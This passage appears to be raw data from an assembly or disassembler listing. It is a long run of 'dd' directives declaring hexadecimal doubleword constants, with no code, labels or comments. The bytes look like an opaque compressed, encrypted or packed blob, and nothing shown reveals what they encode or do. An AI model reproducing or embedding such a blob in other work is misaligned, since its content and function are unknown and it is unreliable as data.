		dd 285311CAh, 26162E94h, 6BD587CCh, 99092066h, 6D00636Eh
		dd 31C4873h, 96C2D26h, 0B3245101h, 44162054h, 6CDAB857h
		dd 60B224C7h, 0AF900CF9h, 2FB4525Dh, 0DD0E87Bh,	6D6E04FEh
		dd 0C17F6A7Eh, 0CA3164D1h, 7A4AAC5Ah, 90E81440h, 5BA63C2h
		dd 0EF620780h, 776C8015h, 0DC8ADA3Ch, 5246561Ch, 0B41FD700h
		dd 0B58EC816h, 2F308A3Fh, 0B13016AEh, 1889D18Ch, 0B26E2559h
		dd 88F9002Bh, 3AE35300h, 2E90C663h, 0ABC4B57Fh,	23A50370h
		dd 46F863AEh, 0CD3A5925h, 0E5BF013Fh, 5042D840h, 0AEC0407Eh
		dd 2BFE7C22h, 17E27900h, 4039B315h, 8F2654F8h, 0A5662DB5h
		dd 54B892h, 0F92B8B80h,	4D6ABDh, 0A6FFD9AFh, 85B77001h
		dd 29D80905h, 0C0B39227h, 8D880730h, 95007AC1h,	9CA8ADB2h
		dd 951C878Ah, 9B120481h, 0F0A4666Ah, 7933A12Ch,	7F3D0F55h
		dd 34821914h, 0C4DB0EA7h, 465CB8ACh, 0B3750002h, 6A0052Ch
		dd 0D4A3C07h, 8F265238h, 889C50B8h, 94C0FF26h, 46740026h
		dd 90E70999h, 5CF48774h, 7AE468C9h, 0B8C0C0BBh,	5F32A321h
		dd 2F206090h, 0DC335830h, 8090C32Dh, 5A056C49h,	906D5864h
		dd 210060B9h, 0D9109941h, 800370F3h, 6726EA66h,	0E78B90D5h
		dd 8C9C1249h, 0D1F8935Eh, 0CD6995D0h, 356DE105h, 0A4126723h
		dd 50D85474h, 0FC9000BBh, 1ADEC424h, 74BEE6EBh,	94497D50h
		dd 7465E50h, 0D8310377h, 8AB348BCh, 0FCDB71A2h,	80A87D92h
		dd 0A743DABCh, 50516B01h, 8CC68EECh, 21D716E0h,	0CF800BBh
		dd 0D5C2F5A2h, 0B1186324h, 9E990BEFh, 20957Ah, 0E40D60E7h
		dd 7B51F301h, 0B06E6314h, 0F63EE184h, 4027BE35h, 0A2A86413h
		dd 914052E8h, 0B310806Ch, 0FE3F23B8h, 5B24BCE2h, 0E8052CACh
		dd 10B8433Ch, 8C4AE8h, 0A0AA0FC1h, 0B16ECEFDh, 339891B7h
		dd 0AF040BC5h, 74B87474h, 38C22ACh, 0B854F301h,	0C188D8AFh
		dd 3A12D461h, 5CB1FAECh, 812C2A2Ah, 0EB23364Dh,	0B4402075h
		dd 17C026B1h, 0E00F345Eh, 0B61AF06Ch, 0B7C83EA2h, 0AD7B8F08h
		dd 0B08803CEh, 0C318C28h, 7ED0C059h, 0B0F06609h, 0E45EB9h
		dd 0AAC49812h, 1D281669h, 812D8907h, 5E228E63h,	0D9B34033h
		dd 2B7D6Eh, 0DD8A6CF6h,	0A34EA565h, 0A8B60F4Eh,	4DAEBDB0h
		dd 82A4DA0Fh, 0D02804h,	0DC90519Ch, 0E00B64ABh,	82C97537h
		dd 5C8B7E1Ch, 54676C0h,	34C9A301h, 6EEB0F1Bh, 846008B1h
		dd 2F50967Dh, 80C308EDh, 74FAE848h, 0B078008Fh,	0E8D84610h
		dd 0C412E9C1h, 90A47E72h, 0F220354h, 7C97C855h,	0F8D59EE8h
		dd 0D0733800h, 0C9D6D41Dh, 801302A2h, 9D5E4B67h, 27012070h
		dd 0B0CA771Eh, 3024B6ECh, 34CB1C9Bh, 8EDA935Bh,	0CE6088F8h
		dd 0AF7C16E0h, 752E9F35h, 0DA0D14C0h, 8BFC602Bh, 0F8E2090Ah
		dd 68A5CC8Ah, 0F8E0BCADh, 30FC8CB3h, 96E1B93Eh,	204261C7h
		dd 57D95B7Bh, 0FD04D0A3h, 62EB190Bh, 0E18843BEh, 68648378h
		dd 0EC6B18DBh, 0A81C30A0h, 0C24E9EECh, 15240A0h, 2BCCC9D4h
		dd 242D80ABh, 370CED0Ch, 11A2FA96h, 0E7E4033Eh,	0A1912FE5h
		dd 7120D0C5h, 0D3887B4Dh, 0FCD82F60h, 2C48806Ah, 6805B0Ah
		dd 41C00169h, 0BE9EC74Ch, 13C4291Eh, 0E0CB89C8h, 0A207E3DDh
		dd 850035CDh, 4A2F8A68h, 8044DB5Eh, 856C4AF5h, 0B6AD01B8h
		dd 0B0331B1h, 9BB040D8h, 0CF4A3701h, 89C2C10h, 461C2A2h
		dd 0CDC12Ch, 4B442705h,	8A1F13E5h, 7CB84Ch, 7EFB2E51h
		dd 39A8A7h, 0F8EAF0E3h,	0EBE45AD7h, 0A117BCA0h,	30AEEC80h
		dd 0C458F523h, 120EEAEDh, 2975790Ah, 790851EEh,	15318A6h
		dd 0DC8219C9h, 0CE852232h, 8619FE2h, 137E019Ch,	0A46431A5h
		dd 1F03FCE8h, 1015723Ah, 0E162A2B7h, 218557FDh,	0E6F89BC1h
		dd 26A8B074h, 0AE9E0727h, 52C1E5A7h, 0E85236DBh, 0ACB36E2Ch
		dd 0D9C3ED62h, 188971B8h, 324F302Ah, 43FA3C49h,	56E3Ch
		dd 0DC9DBFA8h, 27754D41h, 50970F93h, 8A80B411h,	0F35608C3h
		dd 34509328h, 0C6BA600h, 4E1928C4h, 8FB600D8h, 5F9B1618h
		dd 44B064BCh, 0DE678480h, 0FCD8284Fh, 0E86480A0h, 50A3812Eh
		dd 0C820E8A8h, 36DCA06Bh, 8C9A5844h, 2718EC2Ch,	84040EEh
		dd 3820A705h, 0CD2730A3h, 0C099C4D4h, 519ADE10h, 8E7C5214h
		dd 8C0CB824h, 0B1D73909h, 3A24DA93h, 0A4BBB032h, 367BF480h
		dd 0C221E28Dh, 0D82DFDE6h, 0D1D8AB35h, 0A6AF0174h, 0F84B1F24h
		dd 50E2FA8h, 0C0E19246h, 3111B0AEh, 6C49975Eh, 0BEBC6007h
		dd 7E385500h, 4B39E764h, 0A55F0163h, 72C599Eh, 14082E50h
		dd 782B8031h, 0CAD3908h, 4BCAAE00h, 222F01C9h, 0A1870EA2h
		dd 0DBE0F19Bh, 539F038Ah, 23BCD551h, 249A4AF0h,	7FEC0498h
		dd 0A8FDC809h, 11B01D80h, 0A4D98120h, 6C706C7Ch, 0D0EE5804h
		dd 47C862Ch, 0BB844AA2h, 907F86Fh, 83379D07h, 0B5E868E7h
		dd 0BA0935F5h, 7408614Eh, 32EC4054h, 0E200CB16h, 0D580F96Bh
		dd 0B8293F2h, 4F1D3C53h, 400090FAh, 0A9B83448h,	27DF800Fh
		dd 34D2F621h, 70DA164Ah, 39D916C3h, 3C4F99Dh, 8DAC449Ch
		dd 0AE79E02Ch, 9F7702B5h, 56F852B3h, 9E48A17Dh,	8C48ADEAh
		dd 4A689045h, 6B15h, 0E46EF80Ah, 4E1E6F1h, 43B0EA5h, 484CA943h
		dd 0E4214FC1h, 0C461EB50h, 0BC743AF4h, 18290F6Ch, 0E078E6D2h
		dd 34C5ADDh
		dd 0A2D9D785h, 0CFC13AC8h, 62588463h, 0CB412CDh, 82B00F4Dh
		dd 0B855232Fh, 972D313Bh, 25805408h, 0B4E43065h, 0AFB1B067h
		dd 0BC29DB84h, 4F60A469h, 1703D9Eh, 0CBE035E5h,	8130394Bh
		dd 0AF77B208h, 70F87C4Fh, 0C1D673AAh, 9AA8BE10h, 3688D03Ch
		dd 2F1EA003h, 0B0CB487Ah, 1CAD69E6h, 0CD0D71h, 2AD08E88h
		dd 281F0321h, 40B06CC1h, 1620477h, 58F04A4Eh, 0F0D9BACBh
		dd 0B0606F6Dh, 0FBE0CF21h, 33360338h, 0B2E73A3h, 4E820818h
		dd 18EA20h, 2638FEFCh, 0BA651059h, 60B5D006h, 0B9ACB4h
		dd 0F2C7FD22h, 1325513Ah, 7CED3800h, 842610C4h,	95340772h
		dd 0F009DAD1h, 5EC058B1h, 0AD782A0Eh, 0BF354020h, 0C05297E0h
		dd 656FAF70h, 0D403C2CAh, 0CCAB135Bh, 1E081883h, 720820BFh
		dd 0C1ECCA01h, 5196F789h, 11593980h, 0C6CF1C05h, 3A5FA100h
		dd 8343987Ch, 196C335Eh, 0F90097D1h, 693DE0AFh,	50A767A6h
		dd 8C738C71h, 3EFBE604h, 87620336h, 0FBDEEC21h,	1C043DCh
		dd 0CC63C438h, 8CB7A90Ah, 48AC67E0h, 452D188Eh,	55270B9h
		dd 20B08530h, 52FD0302h, 0E5238096h, 0C9CA6401h, 581873D4h
		dd 6D0D21C0h, 3CEE14CAh, 4C366B3Dh, 6C46C018h, 31FBE502h
		dd 88311B36h, 0FBDDF110h, 38CF781Eh, 0F955DC80h, 84882CCh
		dd 0AFA63D56h, 6C330C0Fh, 0D2A898h, 273A6A0Ah, 0CBB477C1h
		dd 2600A849h, 9A3C45BBh, 6107419h, 7E89B3B8h, 318C07AEh
		dd 603988DFh, 0C8AA8F4Ch, 0BDC20D07h, 42850ED4h, 0BE412C18h
		dd 30DEE8EDh, 17118AD6h, 680192C4h, 0C26BE40Ch,	898EBF4h
		dd 0BC362123h, 6F909215h, 837700BCh, 0EE3A9DFh,	80880633h
		dd 0B169B4C4h, 0BC395474h, 9E1160B7h, 24E6703Eh, 0C4CCD835h
		dd 0C0834FA1h, 2BD57F70h, 0A0610CC2h, 7169AA6Ch, 44158FB0h
		dd 7C648E47h, 2DC4686h,	0C6692C6h, 137F31F4h, 20929034h
		dd 551EECEh, 88FB0CC5h,	29C00FBBh, 0A03285E1h, 804344Eh
		dd 0E13EB200h, 86D0F447h, 645E24C9h, 0A0B108B4h, 6A33D100h
		dd 0A4BE7755h, 703C0478h, 624835E4h, 0EC7927AAh, 3B2E5020h
		dd 59003FC2h, 0C134D15Bh, 3C4C4C8Eh, 0C3925D0Eh, 90E72BE4h
		dd 5ECDDA4Ch, 0A6ECFA18h, 742574B0h, 0A788C2A5h, 0E0481F97h
		dd 0A30062EBh, 0A0FF36EEh, 17475A38h, 89381h, 929A76Ah
		dd 0E100A961h, 0BD0FE76Eh, 3FC6E696h, 60CC692Ch, 8C7CE8h
		dd 3AE2F159h, 9A9C330Dh, 31B4A0C4h, 9754B4D2h, 80A49190h
		dd 9D7C49FCh, 2A0102BBh, 276EC0F8h, 0F460CC80h,	0A4122B44h
		dd 0F008AFC7h, 0CA66C3E7h, 1883D4E9h, 6F0F8859h, 0D2C3CA03h
		dd 0B66D33h, 4A46C1E9h,	28C57902h, 0B50C4C13h, 71AEC020h
		dd 80900E7h, 34944B7Eh,	0E00FB216h, 211E1DEDh, 0A8874F22h
		dd 0DD4841CEh, 9208C918h, 0C4BC0C65h, 0C1354072h, 0BC5F792h
		dd 3998D20Bh, 42163D0Ch, 8B2440B2h, 4674A8FCh, 0B69D03B2h
		dd 386BDA98h, 7994F848h, 0BB0AA029h, 749C47C1h,	78025B46h
		dd 9981354Fh, 0AD9D3C40h, 0E29033F1h, 72BA307Dh, 0FB35FD3Bh
		dd 0B4A85562h, 75F044C8h, 75123537h, 2B43A8C1h,	320184C0h
		dd 3835EA70h, 3A7F000Eh, 673EA770h, 375901Dh, 0C3B76E14h
		dd 89247E6Ch, 80392819h, 88AACF67h, 782AD71h, 1F432001h
		dd 0D029A1F5h, 0D1047069h, 5841DE48h, 0DFAF15C0h, 92C780F4h
		dd 99EC0C67h, 0BF37C03Ch, 77003392h, 0E3D2632Bh, 14C4DB0Dh
		dd 0F06A840Ch, 642CC123h, 0C8BA025Ch, 0AD5752C0h, 1869B0C9h
		dd 3CFB08E4h, 7BC41336h, 0FBDCEE40h, 0D8246501h, 0D4A90C9Dh
		dd 0B118B3D1h, 7A1324FEh, 48200AD5h, 4CE02302h,	0BF3804BAh
		dd 8DF5192h, 68C0E138h,	48D4C5CAh, 9E0D453h, 6908CA71h
		dd 406C56A5h, 40AD8DC2h, 0CF2A6F0Eh, 11DAE0D9h,	165B7A31h
		dd 1EDE53C0h, 8E28E2B0h, 0F090382Fh, 2CA35B01h,	4DF80AB8h
		dd 747818A4h, 1738646h,	4EF38F0h, 50BAB423h, 5750B888h
		dd 0B3667F0Eh, 7EC0E0BEh, 1EE1193Ch, 6C671D8Eh,	3E2900E4h
		dd 50C386Eh, 0FCC87658h, 265C8C72h, 623C0F4Eh, 3789FF4Ah
		dd 0C62C00CBh, 4B97B4h,	0F33F9F08h, 0AD5CD173h,	7A99361Fh
		dd 98091824h, 0BFA80467h, 0E7703F60h, 0CC303526h, 70F87E71h
		dd 0E4E8003Ah, 0DE459C05h, 0BD013724h, 9DB1066h, 20B8FDh
		dd 20D8983Fh, 310A1FE6h, 3C6B9AF1h, 380FB805h, 98DBACD5h
		dd 0CDE19F80h, 0B0E27185h, 0E63DB9E2h, 40661CCCh, 0AC9CA344h
		dd 8C6E4CCCh, 3BFBE704h, 89620B36h, 0FBDFEF20h,	92FF004Bh
		dd 16AC113Eh, 0AE6C02B8h, 401ED841h, 0B5593F83h, 13A2340h
		dd 0D4C8CA67h, 402A186Bh, 6C0112BFh, 0B34C09CAh, 0D8DB6DEEh
		dd 75F8983Ah, 8758C039h, 0D1C9B4BCh, 6EBC7350h,	24228209h
		dd 0E6A8009Eh, 4B3E9933h, 0D4500F4Eh, 4B6E8520h, 1E24F3BBh
		dd 3F66C4Fh, 0CF203A72h, 32E8270Fh, 0AC908795h,	0D71850A0h
		dd 92C20286h, 6C140C6Ah, 30117C19h, 8DD830BAh, 0FC296F02h
		dd 0A049969Eh, 0E2F68B90h, 0C39C1959h, 1870A832h, 3DFB09E1h
		dd 1C3B36h, 0FC19ED00h,	0D2DB563Ah, 75480137h, 7AE1AE87h
		dd 843C30FFh, 3040B040h, 0BB908F92h, 61D3CAF1h,	80C23008h
		dd 4E9340Bh, 0EF696C93h, 43F40F21h, 8EB48E52h, 2BAB0429h
		dd 0BA9CECF9h, 3A3F78C0h, 0FEDA2CFFh, 8C191504h, 6992C580h
		dd 6B43DC0Ch, 31002022h, 0FF6D92BDh, 4946C0F9h,	1677908Dh
		dd 45B22212h, 8EBC3474h, 0C08988A8h, 0E326C56Ah, 44D53A00h
		dd 48059E60h, 4802FE03h, 0DC0E184Fh, 0DA09B492h, 83C4C865h
		dd 67088660h, 62097E78h, 2BF782Bh, 21ACA88h, 0F498B437h
		dd 2C7044BBh, 0F5230602h, 83B6F022h, 48C05FCCh,	1A22D420h
		dd 724430A7h, 0F9CC8260h, 0C83BC300h, 0C136D14Ch, 7A9CBA4Ah
		dd 8C1A2E64h, 66C68278h, 20721286h, 9C1B020Dh, 744190BCh
		dd 1883D515h, 2F7D248Eh, 9319E7F0h, 0E8502548h,	7B008C7Ah
		dd 0A72AD05Dh, 1C12744h, 0C887DF6Ch, 5057975Eh,	0C420B190h
		dd 0A3E12C00h, 42D47091h, 50D350A5h, 0E1AA4094h, 8B53326h
		dd 31418C2Ch, 1824C299h, 504B6B58h, 0C200B4BDh,	51846EF8h
		dd 37FC04EDh, 0B14DDD8h, 91B89754h, 138980AAh, 1A2239Fh
		dd 0AB1518C8h, 0DC328734h, 59D3172Ah, 0A1233C2Fh, 0B9817B00h
		dd 2ADE9F9Dh, 0C8B76Ch,	0C4834755h, 8D302E60h, 885A962Ah
		dd 843C2700h, 6DE7BC19h, 0DBF701E5h, 6FDFFF61h,	9E0203Eh
		dd 7082E926h, 89053C40h, 4108A27Dh, 6118E4ECh, 0D4C6CA0Bh
		dd 3589C7Bh, 5DCA6E0Ch,	1BB0FE74h, 0E0A0AEA8h, 0C72442D0h
		dd 200048Eh, 56F1CC67h,	9E19035Bh, 6048700Ah, 0B9B768E0h
		dd 5682F1C0h, 18B6C4h, 39FE5496h, 20A975E1h, 9F099C7Ch
		dd 0E82A8E6Ch, 0E6EE6B4h, 5608C69Eh, 0F8E5FFC9h, 18BE59E2h
		dd 1E0B07DCh, 878AF8D6h, 0C4F6B40Ch, 9B5827C8h,	0B865A4A9h
		dd 9C6120E4h, 0C33CDh, 0C0D9F09Ah, 1A5E5243h, 60A104FAh
		dd 27E210E5h, 80A218BFh, 0BA48A805h, 87853D4Ch,	308A000h
		dd 17C2A59h, 0CFF0CCADh, 885AE3D1h, 0BAF78D0h, 1806EC86h
		dd 42F08128h, 7A4124h, 7420E245h, 236492C8h, 2111C40Ch
		dd 92C04A00h, 0DAF6B3AEh, 416CCF0Bh, 88884550h,	3549AC6Eh
		dd 0A74880F0h, 6D03023h, 0F896A504h, 4C11EDAh, 7832C02Eh
		dd 2276EE16h, 0B4EAD87Ch, 7C446447h, 68431F60h,	2ED19200h
		dd 0F880E361h, 6FDE30A0h, 1E950B68h, 0E57CF27Dh, 7860A9FAh
		dd 90F46818h, 8768924Fh
		dd 602544ECh, 3408C22h,	0E9FAF0BDh, 9907796Ch, 92AC29FFh
		dd 6AF99790h, 0B3F2161Fh, 19EC05B2h, 0B240A374h, 613430A4h
		dd 41F56D00h, 82F881AEh, 9599143Ch, 584CD866h, 2444211h
		dd 0A00E75F4h, 3DD5E16Ah, 749879A4h, 0DB1FB346h, 42CA6AEh
		dd 87B6A932h, 0B12A3060h, 0AD547BE8h, 64B6AFE0h, 0BF27215Eh
		dd 95A88881h, 78305C7Fh, 60CC643Dh, 3894CDE5h, 6A007BB0h
		dd 21D162B4h, 12C4CE6Eh, 45F511DAh, 5D7F6CA8h, 0D9C84EC0h
		dd 414887A6h, 0C1164898h, 0BC095476h, 9F102932h, 9DA51120h
		dd 71BAA100h, 0BE99387h, 0F5262313h, 0CC09C044h, 9CF5BD8h
		dd 8C0E002h, 1228F602h,	82708172h, 59D284h, 69187BF1h
		dd 1DD8640Dh, 0D020C87Ch, 619F0062h, 6F15D099h,	0B42663A7h
		dd 74A310E5h, 0F4E1658h, 0B6D0B0D5h, 75173320h,	0C07C9E5Fh
		dd 0E04A8BAh, 0A1F83674h, 3E0AC90h, 4EAB2D68h, 0DB007CB7h
		dd 0E7090C0Ah, 0C0363BD3h, 84DC8AAEh, 0C01C6699h, 10570E24h
		dd 282FBC4Fh, 97057A23h, 54C9C602h, 20AABC02h, 0D0A91079h
		dd 9299C0Fh, 67E00535h,	0B12C74C1h, 30FBDA01h, 9F40B8C8h
		dd 6FD7298Ch, 1886D1E0h, 5DCE3997h, 0B7E8E089h,	151BF848h
		dd 320B7075h, 20D82303h, 8660E16Ch, 5EE49691h, 81BE5B21h
		dd 0A532D786h, 0C1C6078h, 38232Fh, 0D5E67A28h, 2C7C00F8h
		dd 0F2B024D6h, 0CB37B4E3h, 8EB591A2h, 0E159D040h, 15C67Bh
		dd 8B23DB13h, 3D8399FBh, 0D678680Ch, 1D652981h,	400453BBh
		dd 0D31E4D0Dh, 6725E6DAh, 3A4B7FAh, 0AAA53D59h,	996B9CF8h
		dd 19262D25h, 702CED94h, 8C7FB8h, 7BE56A22h, 4263D782h
		dd 0AC05352Eh, 4464D48Bh, 9EBB1638h, 1109568h, 0E0322C6Ch
		dd 43A040BEh, 30248E59h, 372DAC6Eh, 7FE384F4h, 38C0F19Ah
		dd 20659FB8h, 1F20EA20h, 8F7501F7h, 1D9809C5h, 95D400BFh
		dd 3120064h, 6BEA4FBAh,	0CB00798Bh, 70D00EA1h, 6E45378h
		dd 268E6C5h, 18EDA071h,	0C4CA086Bh, 20C64BD4h, 700E0061h
		dd 8A7D15CAh, 0C0003457h, 0CCBB590Fh, 3E44F461h, 1A899B6Fh
		dd 883BB788h, 0FBEA60ECh, 0E3361332h, 0F0682CA2h, 0D6FBE200h
		dd 434CBB25h, 0D0280F7Ah, 35657869h, 97C40271h,	0D0D3C7BFh
		dd 0CEFF70h, 7E248E49h,	0D7B4BF94h, 2F887959h, 0D1D4A081h
		dd 7C3C7DF8h, 33C602B5h, 8421AA06h, 91607478h, 69996031h
		dd 0B612F5Eh, 2A08501Dh, 0AC560BFh, 940B4D64h, 826925EFh
		dd 116B54Ch, 60ABB4D0h,	9D8A81E4h, 807C1170h, 0A87321EDh
		dd 4A278C9h, 4EA0C7E1h,	0E2A0C427h, 317BF2BCh, 70B1F1D5h
		dd 39178627h, 309AED64h, 634AABC0h, 8213A6A1h, 70810C1Ah
		dd 0C450B6B7h, 0EE3AB908h, 47AB0B02h, 0AC98606Fh, 3D3D0F57h
		dd 0ED3B0784h, 68D1BC78h, 0C44E7022h, 0ACC02788h, 30A8Fh
		dd 92612FFAh, 8896887h,	14B8BB74h, 99410E27h, 9854D3D0h
		dd 4600A06Fh, 5E1356BDh, 0A496B4C5h, 0D0B73980h, 1D73A1AAh
		dd 49368FF8h, 0B4E62442h, 48BE58h, 0FFE1DB3Dh, 0C077DEF0h
		dd 0D07F7CA0h, 6CBEDA06h, 70EE0ED6h, 5E493499h,	0D036D040h
		dd 0A9142227h, 79885994h, 50C187Ah, 0F3F8CCA4h,	0F424C2FDh
		dd 79C4AC79h, 48708752h, 56EC1249h, 89EC4020h, 9F63EFCh
		dd 7F714700h, 64946F30h, 8C192EF8h, 94C66980h, 72449CA7h
		dd 0BC809E60h, 0A6D3E101h, 342FB512h, 83A26833h, 9B1030h
		dd 4A81CEC8h, 97DDC5CBh, 3401C49h, 419F796Eh, 0A8249B64h
		dd 0C530A6h, 0C003B9D0h, 9EB8C87Ah, 3BE66601h, 0AD55D699h
		dd 9A22F029h, 465EE4BEh, 4E970F7Dh, 785280C3h, 2C0AD2C6h
		dd 257C8575h, 2C3CE861h, 0C0BD8814h, 35E17039h,	4486CCE0h
		dd 70FC80ADh, 0E4509B01h, 75FEC836h, 2C6BCC40h,	21885A2Ah
		dd 80792D64h, 4A24D170h, 0C86F8297h, 28036D8h, 0FE3AD06Ah
		dd 440492F5h, 0E93FC7ACh, 3140058Ch, 0DCC89F6Eh, 25F818B0h
		dd 54CB7089h, 60D0D091h, 7C840A76h, 249440CEh, 11C80018h
		dd 25703407h, 0D0FA9100h, 86836085h, 0F398397Ch, 77937687h
		dd 0DFA5811Ah, 1000F382h, 0D544264h, 19AFE4FCh,	834FF73h
		dd 8021BF6Ch, 0CC6954EAh, 62E1531h, 49929E02h, 7E015078h
		dd 778EBD08h, 4E0F284h,	388F6F9Dh, 0BAAA1C00h, 0D87D112Ch
		dd 0CFF98819h, 21848008h, 80BAA239h, 2634A79Dh,	9B95F526h
		dd 0F8450707h, 80902A00h, 6310D86h, 0D4D85EB4h,	9200BB2Eh
		dd 0CFCA11F3h, 28E6855Dh, 1E887A7Bh, 0C02E9793h, 1819FCA9h
		dd 4966F48Fh, 218308h, 8ECF3731h, 6AF5D002h, 0E67990A0h
		dd 607BDC30h, 3DC784F4h, 0EC8FCC58h, 8EA0E81Ah,	731705Eh
		dd 8727FF18h, 244B628h,	15627F78h, 0C8A07BCEh, 0AAC21E93h
		dd 5727920Fh, 19702C0Dh, 85150001h, 9DFAA423h, 73007AB2h
		dd 40EA876h, 19478F3Ah,	0D0826AB6h, 83118EBh, 11FCA8CFh
		dd 364E81C4h, 0F96ECF21h, 7412DCEFh, 37AC19C0h,	48A4DCD6h
		dd 4100C2Eh, 0D4606881h, 0AC800A11h, 0A8112ABAh, 4F7D448Ch
		dd 48BAA400h, 80AC4643h, 0ED010FD6h, 74814AC5h,	5B24DD3h
		dd 17CC7BBh, 847162F6h,	87FF98E0h, 0C5F72490h, 189C60FEh
		dd 8BFA51E3h, 0CE57A300h, 3E72CBE6h, 1A5F297h, 0C7F2166Eh
		dd 269E7C1Bh, 543D0254h, 31ECFC08h, 0E5431070h,	0EB260054h
		dd 0C7596074h, 0A1FDB97h, 0AE890727h, 9D8812F8h, 822B1154h
		dd 0C0BEE308h, 6002F588h, 0F816C89Bh, 10907B74h, 829E2603h
		dd 1D79C625h, 6BD7C39h,	11947433h, 0C208B300h, 695B1A3Dh
		dd 0C9127F78h, 0E8306D08h, 70009361h, 0FED9DDC8h, 924DCB7Eh
		dd 0C42C8738h, 67236061h, 9297319Ah, 0DC4F1A49h, 252C29B2h
		dd 6D03F02Fh, 0E820B5F0h, 1493C482h, 0B085070Fh, 93EA1C50h
		dd 0CF2A014Ch, 1839FCADh, 3531C048h, 0A01CCF33h, 8078100h
		dd 7491666Eh, 260EE040h, 5203EEAh, 5D81F798h, 91FA0CE0h
		dd 0C8141AD1h, 18AC3250h, 49B175CCh, 901C77E6h,	0A4AE2464h
		dd 11693EC8h, 309E1830h, 0E2149773h, 7C8ACDCh, 34DB25C7h
		dd 0A60CE883h, 0FF7C58h, 24ECBE1Ch, 99D0FCA4h, 3E40B761h
		dd 0E9807D7Ah, 27B160Ch, 1C00FFEAh, 0BB9D7072h,	125073D2h
		dd 8B9CC05h, 44C0A354h,	43FC0F54h, 0ECC09F34h, 4809C354h
		dd 6F6FAFCh, 9D01CAABh,	27CE990h, 0F157B30Fh, 110A630Bh
		dd 474AAFFh, 4618CB09h,	87BDB0CCh, 676207F1h, 6F73EEBh
		dd 1624C844h, 0D14768F0h, 4EC5000Fh, 0C07E7AECh, 74FB8361h
		dd 89F09043h, 47708800h, 3C4AA72Dh, 731A1453h, 1F10CC68h
		dd 7CBC565Bh, 48D44B56h, 8C25E844h, 0FE605636h,	0E918C191h
		dd 0A889FD98h, 0F215C411h, 41D42E43h, 0A47C3014h, 5437058Ch
		dd 383CFC12h, 3F0145D4h, 0C325C154h, 0E203787h,	7A0A1624h
		dd 31A81FBCh, 220DFB29h, 44090068h, 0EFA7130Bh,	0A23CA988h
		dd 540B4118h, 1C4CFC0Ch, 0E93F00B8h, 2B963554h,	0A5F2761Bh
		dd 38988626h, 78207C02h, 59910216h, 0B3E0306Dh,	12C54518h
		dd 9FC7082h, 0D8AC63C8h, 48C2F50h, 1A41C20Ch, 2CCE3Bh
		dd 0D4C204D2h, 26FA29C7h, 3F53DEC5h, 0E3745001h, 20431DA5h
		dd 80ACA12Ch, 9543E02h,	16B004FCh, 54E64603h, 0E108A7C4h
		dd 0A0EE9CF7h, 6B2A36F4h, 2DF200CAh, 0C0C5CC4Bh, 7F048B4Ah
		dd 7A04BE58h, 14BAE888h, 9426BCE8h, 8F39C900h, 59432C5Ch
		dd 0E9469890h, 0AACF2702h, 4F3141FCh, 0CF883413h, 0BB177F21h
		dd 1C0F95D1h, 601FB21Dh
		dd 24DCD4h, 1288D97Eh, 122C8934h, 854C120h, 0ABC00770h
		dd 46112DBAh, 3C887ED0h, 4ABA00A3h, 0EF137EBEh,	9B488C49h
		dd 202C7220h, 246234E0h, 81B4CCD1h, 0D1832DCh, 1A36C208h
		dd 4067C443h, 0E2C205D5h, 0FA020047h, 44208D10h, 0ACE89A9Eh
		dd 0F4682966h, 77744E0h, 0A9289C31h, 32E1A34Bh,	85805432h
		dd 0AC52D1A5h, 0C03690C8h, 1A42C209h, 66226346h, 0C241D100h
		dd 0CFA54C71h, 0E55C05AFh, 8AF7C6BDh, 0B0623DCh, 7085BAA8h
		dd 5DC8EC8h, 0B1BAA03Bh, 742714EBh, 123035A2h, 1A3710C2h
		dd 0AD4E00Bh, 0A8CC00C2h, 9D6246Dh, 9109DA8Dh, 855D100Eh
		dd 0FC985474h, 6C2012DCh, 2540347Eh, 617C80A4h,	0F8FEB65Ch
		dd 9A198860h, 0D27F28E8h, 0C1286430h, 1C81CC84h, 2F724A63h
		dd 854D107Ch, 0E9A1F6CEh, 0C8D281EAh, 0F0008D6h, 0DC1D8F87h
		dd 48488A37h, 6AE8D8AEh, 0A5B30E8Ch, 3863040Ch,	0B8811ABDh
		dd 0FDB88980h, 11549DB9h, 3F9D66h, 0C31E045Dh, 1852C485h
		dd 797EDC3Ch, 9500E79Fh, 2D89D862h, 7C207C0h, 0E2A83B47h
		dd 8102B1Eh, 0D9029E84h, 983692A4h, 0D9010FCh, 66C80F14h
		dd 0F0127CE0h, 340067C5h, 0A3D912D6h, 0DFE3265Ch, 0EACF40E4h
		dd 0AB00D3DBh, 2FA5DCEBh, 1C7A343h, 1A275C04h, 63BD1B99h
		dd 0C558B734h, 4BC5814Ah, 42F87009h, 9774F0A0h,	958298A8h
		dd 75513000h, 0F02B61ADh, 69B90402h, 0D38820BAh, 0D0002E74h
		dd 91809437h, 4131D802h, 3054ED6Dh, 4102F91Ch, 7BA8AC79h
		dd 0A984A07Ch, 757ED609h, 5DB5002Ch, 98EA3467h,	3E003564h
		dd 0EC2E0FADh, 25DB8208h, 0CC1DD51Bh, 6806A11h,	6D5C87CAh
		dd 1A511E03h, 48228F0h,	869D55B8h, 26CC8875h, 808014B8h
		dd 302E1631h, 0E141246Ch, 0D05080B1h, 1C6974D1h, 0A78C816h
		dd 11BC706Ch, 544380A0h, 87DCFC0Eh, 54EB4901h, 5870DAE4h
		dd 0B274445Fh, 0BC4CE65Ch, 0F5008C81h, 8AB64E8h, 0F9074B19h
		dd 0C77656E4h, 0C2AEA8D8h, 64645E46h, 0A6024046h, 0F81130BAh
		dd 35000CC7h, 1FABBA9Eh, 16200ECh, 0FA92AECEh, 4496AA9Dh
		dd 7DF57A06h, 85DF31D8h, 0F5F92BE1h, 4108253Dh,	47970570h
		dd 1806C1A0h, 87F09E7Dh, 13BD602Ch, 0E49292F1h,	0BAAD3005h
		dd 0A0112B11h, 3A802888h, 778BAA5h, 17F84AE7h, 104C2FC8h
		dd 87DF8480h, 896FFF95h, 48C764C2h, 23606C44h, 0B0738CAAh
		dd 6FFE3C00h, 37E2C87h,	7B1CEA5h, 0F460E024h, 7811C794h
		dd 742A874Fh, 0C5FD0AA0h, 95B070EAh, 277FAC1Dh,	7800E1F3h
		dd 9EC20EBBh, 0B126B0A3h, 4674CC93h, 97DB2E4Fh,	0DC82BC07h
		dd 0C45847F9h, 0CED06067h, 0B15C1E9Bh, 211BD66Dh, 8C7FDF00h
		dd 1E42EC29h, 0FFDE0022h, 58032E45h, 9E4C30BFh,	79F010DCh
		dd 10703129h, 0B8ECD077h, 85434Bh, 958E42EBh, 92577B0h
		dd 0FB7E57D0h, 270D68C9h, 0B8D0581Ch, 7844383h,	0C40451BCh
